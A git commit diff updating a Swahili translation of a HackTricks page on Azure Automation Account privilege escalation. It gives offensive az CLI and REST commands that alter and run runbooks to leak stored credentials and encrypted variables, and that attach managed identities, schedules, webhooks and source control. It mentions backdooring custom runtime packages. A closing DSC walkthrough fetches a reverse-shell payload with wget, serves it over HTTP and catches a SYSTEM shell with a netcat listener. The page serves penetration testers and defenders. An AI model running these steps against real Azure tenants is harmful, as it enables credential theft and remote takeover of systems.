Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 20:50:44 +00:00
parent 8f164c1cde
commit 674047f37b
@@ -4,7 +4,7 @@
## Azure Automation Accounts
Kwa maelezo zaidi angalia:
Kwa taarifa zaidi angalia:
{{#ref}}
../az-services/az-automation-accounts.md
@@ -12,29 +12,29 @@ Kwa maelezo zaidi angalia:
### Hybrid Workers Group
- **Kutoka kwa Akaunti ya Automation hadi VM**
- **Kutoka Automation Account hadi VM**
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atakuwa **na uwezo wa kuhamia eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata VM ya Azure.
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook (arbitrary code) katika hybrid worker, ataweza **pivot to the location of the VM**. Hii inaweza kuwa on-premise machine, VPC ya cloud tofauti au hata Azure VM.
Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Utambulisho wa Usimamizi mwingine umeunganishwa, runbook itakuwa na uwezo wa kufikia **utambulisho wa usimamizi wa runbook na utambulisho wote wa usimamizi wa VM kutoka kwa huduma ya metadata**.
Zaidi ya hayo, ikiwa hybrid worker inaendesha katika Azure na Managed Identities nyingine zimeambatishwa, runbook itakuwa na uwezo wa kufikia **managed identity ya runbook na Managed Identities zote za VM kutoka metadata service**.
> [!TIP]
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token za utambulisho wa usimamizi wa akaunti ya automation (**`IDENTITY_ENDPOINT`**).
> Kumbuka kwamba **metadata service** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma inayotumika kupata managed identities token ya automation account (**`IDENTITY_ENDPOINT`**).
- **Kutoka kwa VM hadi Akaunti ya Automation**
- **Kutoka VM kwenda Automation Account**
Zaidi ya hayo, ikiwa mtu atachafua VM ambapo script ya akaunti ya automation inafanya kazi, atakuwa na uwezo wa kupata metadata ya **Akaunti ya Automation** na kuifikia kutoka kwa VM ili kupata token za **Utambulisho wa Usimamizi** uliounganishwa na Akaunti ya Automation.
Zaidi ya hayo, ikiwa mtu atahujumu VM ambapo script ya Automation Account inaendesha, atakuwa na uwezo wa kupata metadata ya **Automation Account** na kuifikia kutoka VM ili kupata tokens za **Managed Identities** zilizowekwa kwenye Automation Account.
Kama inavyoonekana katika picha ifuatayo, kuwa na ufikiaji wa Msimamizi juu ya VM inawezekana kupata katika **mabadiliko ya mazingira ya mchakato** URL na siri za kufikia huduma ya metadata ya akaunti ya automation:
Kama inavyoonekana kwenye picha ifuatayo, kuwa na ufikiaji wa Administrator kwenye VM kunaruhusu kupata katika **environment variables of the process** URL na secret za kufikia automation account metadata service:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Kwa muhtasari ruhusa hizi zinaruhusu **kuunda, kubadilisha na kuendesha Runbooks** katika Akaunti ya Automation ambayo unaweza kutumia **kutekeleza code** katika muktadha wa Akaunti ya Automation na kupandisha haki kwa **Utambulisho wa Usimamizi** uliotolewa na kuvuja **akili** na **mabadiliko ya siri** yaliyohifadhiwa katika Akaunti ya Automation.
Kwa muhtasari, ruhusa hizi zina uwezo wa **create, modify and run Runbooks** ndani ya Automation Account ambazo unaweza kutumia ili **execute code** katika muktadha wa Automation Account na escalate privileges to the assigned **Managed Identities** na leak **credentials** na **encrypted variables** zilizohifadhiwa katika Automation Account.
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha code ya Runbook katika Akaunti ya Automation kwa kutumia:
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha msimbo wa Runbook katika Automation Account kwa kutumia:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Kumbuka jinsi skripti ya awali inaweza kutumika ku **vuja jina la mtumiaji na nenosiri** la akidi na thamani ya **kigeuzi kilichosimbwa** kilichohifadhiwa katika Akaunti ya Automation.
Angalia jinsi script iliyopita inaweza kutumika **leak the useranmd and password** ya credential na thamani ya **variable iliyosimbwa** iliyohifadhiwa katika Automation Account.
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inaruhusu mtumiaji kuchapisha Runbook katika Akaunti ya Automation ili mabadiliko yafanyike:
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inaruhusu mtumiaji kuchapisha Runbook katika Automation Account ili mabadiliko yafanyike:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inaruhusu mtumiaji kuendesha Runbook katika Akaunti ya Automation kwa kutumia:
Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inaruhusu mtumiaji kuendesha Runbook katika Automation Account kwa kutumia:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inaruhusu mtumiaji kusoma matokeo ya kazi katika Akaunti ya Automation kwa kutumia:
Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inamruhusu mtumiaji kusoma matokeo ya kazi katika Automation Account kwa kutumia:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Ikiwa hakuna Runbooks zilizoundwa, au unataka kuunda mpya, utahitaji **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia:
Kama hakuna Runbooks zilizotengenezwa, au unataka kuunda mpya, utahitaji ruhusa **`Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ruhusa hii inamruhusu mtumiaji **kuteua utambulisho wa mtumiaji ulioendeshwa** kwa Akaunti ya Automation kwa kutumia:
Ruhusa hii inamruhusu mtumiaji **kuteua user managed identity** kwa Automation Account kwa kutumia:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Ratiba mpya katika Akaunti ya Automation inayotekelezwa kila dakika 15 (siyo ya siri sana) kwa kutumia amri ifuatayo.
Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Schedule mpya katika Automation Account ambayo inatekelezwa kila dakika 15 (si ya siri sana) kwa kutumia amri ifuatayo.
Kumbuka kwamba **kipindi cha chini kwa ratiba ni dakika 15**, na **wakati wa kuanza wa chini ni dakika 5** katika siku zijazo.
Kumbuka kwamba **kipindi cha chini kabisa kwa Schedule ni dakika 15**, na **muda wa kuanza wa chini kabisa ni dakika 5** katika siku zijazo.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kupeana Scheduler kwa runbook kwa kutumia:
Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kuambatisha Scheduler kwa runbook ukitumia:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> Katika mfano uliopita, kitambulisho cha jobchedule kiliacha kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kama mfano** lakini utahitaji kutumia thamani isiyo ya kawaida kuunda ugawaji huu.
> Katika mfano uliopita, kitambulisho cha jobchedule kiliwekwa kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kama mfano**, lakini utahitaji kutumia thamani yoyote ili kuunda ugawaji huu.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Akaunti ya Automation kwa kutumia amri ifuatayo.
Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Automation Account kwa kutumia moja ya amri zifuatazo.
Kwa Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Amri hii inapaswa kurudisha URI ya webhook ambayo inaonyeshwa tu wakati wa kuunda. Kisha, ili kuita runbook kwa kutumia URI ya webhook
Kwa AzureCLI na REST:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
Amri hizi zinapaswa kurudisha webhook URI ambayo inaonyeshwa tu wakati wa uundaji. Kisha, kuitisha runbook kwa kutumia webhook URI
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Kwa ruhusa tu ya `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusaidia kuboresha msimbo wa Runbook** bila kuuchapisha na kuufanya kazi kwa kutumia amri zifuatazo.
Kwa ruhusa tu `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusasisha msimbo wa Runbook** bila kuuchapisha na kuendesha kwa kutumia amri zifuatazo.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Ruhusa hii inamruhusu mtumiaji **kuunda udhibiti wa chanzo** kwa Akaunti ya Automation kwa kutumia amri kama ifuatavyo (hii inatumia Github kama mfano):
Ruhusa hii inaruhusu mtumiaji **configure a source control** kwa Automation Account kwa kutumia amri kama ifuatayo (hii inatumia Github kama mfano):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzitekeleza itakuwa **inawezekana kupandisha mamlaka**.
Hii itaingiza runbooks kutoka kwenye Github repository kwenda Automation Account kiotomatiki, na kwa ruhusa nyingine za kuanza kuziendesha itakuwa **possible to escalate privileges**.
Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na utambulisho ulio na usimamizi wenye jukumu la **`Contributor`** na ikiwa ni utambulisho wa mtumiaji ulio na usimamizi, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Zaidi ya hayo, kumbuka kwamba ili source control ifanye kazi katika Automation Accounts lazima iwe na managed identity yenye role **`Contributor`**, na ikiwa ni user managed identity, client id ya MI lazima itajwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapoanzishwa.
> Kumbuka kwamba haiwezekani kubadilisha repo URL ya source control mara tu imeundwa.
### `Microsoft.Automation/automationAccounts/variables/write`
Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables katika Akaunti ya Automation kwa kutumia amri ifuatayo.
Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables katika Automation Account kwa kutumia amri ifuatayo.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -213,53 +231,53 @@ az rest --method PUT \
}
}'
```
### Mazingira ya Kazi ya Kijadi
### Mazingira ya runtime maalum
Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi maalum cha mazingira hayo kwa msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi maalum, msimbo mbaya utaanzishwa.
Ikiwa automation account inatumia custom runtime environment, kunawezekana kuandika juu custom package ya runtime kwa code hatarishi (kama **a backdoor**). Kwa namna hii, kila mara runbook inayotumia runtime hiyo maalum itakapotekelezwa na kupakia custom package, code hiyo hatarishi itatekelezwa.
### Kuathiri Usanidi wa Jimbo
### Kuathiri State Configuration
**Angalia chapisho kamili katika:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Hatua ya 1 — Unda Faili
**Faili Zinazohitajika:** Skripti mbili za PowerShell zinahitajika:
1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo Linalotakiwa (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skripti ya kuchapisha usanidi kwa VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Faili Zinazohitajika:** Zinahitajika PowerShell scripts mbili:
1. `reverse_shell_config.ps1`: Faili ya Desired State Configuration (DSC) inayopakua na kutekeleza payload. Inapatikana kwenye [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Script ya kuchapisha configuration kwenye VM, inapatikana kwenye [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Ubadilishaji:** Vigezo na parameta katika faili hizi lazima zibadilishwe ili kufaa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload.
**Customization:** Variables na parameters katika faili hizi lazima zifanyiwe marekebisho kulingana na mazingira maalum ya mtumiaji, ikijumuisha majina ya resource, njia za faili, na vitambulisho vya server/payload.
- Hatua ya 2 — Zip Faili ya Usanidi
- Hatua ya 2 — Zip Faili ya Configuration
Faili `reverse_shell_config.ps1` inashirikiwa katika faili ya `.zip`, ikifanya iwe tayari kwa uhamishaji kwenda Akaunti ya Hifadhi ya Azure.
`reverse_shell_config.ps1` imepakwa katika faili `.zip`, ikifanya iwe tayari kwa kuhamishwa kwenye Azure Storage Account.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Hatua ya 3 — Weka Muktadha wa Hifadhi & Pakia
- Hatua ya 3 — Weka Muktadha wa Hifadhi & Kupakia
Faili ya usanidi iliyoshonwa inapakiwa kwenye kontena la Hifadhi la Azure lililowekwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent.
Faili ya usanidi iliyofungwa kwa zip inapakiwa kwenye container ya Azure Storage iliyowekwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Step 4 — Prep Kali Box
- Hatua 4 — Andaa Kali Box
Seva ya Kali inashusha mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
Seva ya Kali inapakua payload RevPS.ps1 kutoka kwenye repositori ya GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Script imehaririwa ili kubaini VM ya Windows inayolengwa na bandari ya shell ya kurudi.
Skripti imehaririwa ili kubainisha Windows VM lengwa na port kwa reverse shell.
- Hatua ya 5 — Chapisha Faili la Mipangilio
- Hatua 5 — Kuchapisha Faili la Mipangilio
Faili la mipangilio linafanywa kazi, na kusababisha script ya shell ya kurudi kupelekwa kwenye eneo lililotajwa kwenye VM ya Windows.
Faili la mipangilio linaendeshwa, likisababisha reverse-shell script kuwekwa katika eneo lililobainishwa kwenye Windows VM.
- Hatua ya 6 — Kuweka Payload na Kuanzisha Listener
- Hatua 6 — Kuhifadhi payload na kuanzisha listener
Python SimpleHTTPServer inaanzishwa ili kuhifadhi payload, pamoja na listener ya Netcat ili kukamata muunganisho unaokuja.
Python SimpleHTTPServer inaanzishwa ili kuhifadhi payload, pamoja na Netcat listener ili kunasa miunganisho inayoingia.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Kazi iliyoandaliwa inatekeleza payload, ikipata haki za kiwango cha SYSTEM.
Kazi iliyopangwa inatekeleza payload, ikipata SYSTEM-level privileges.
{{#include ../../../banners/hacktricks-training.md}}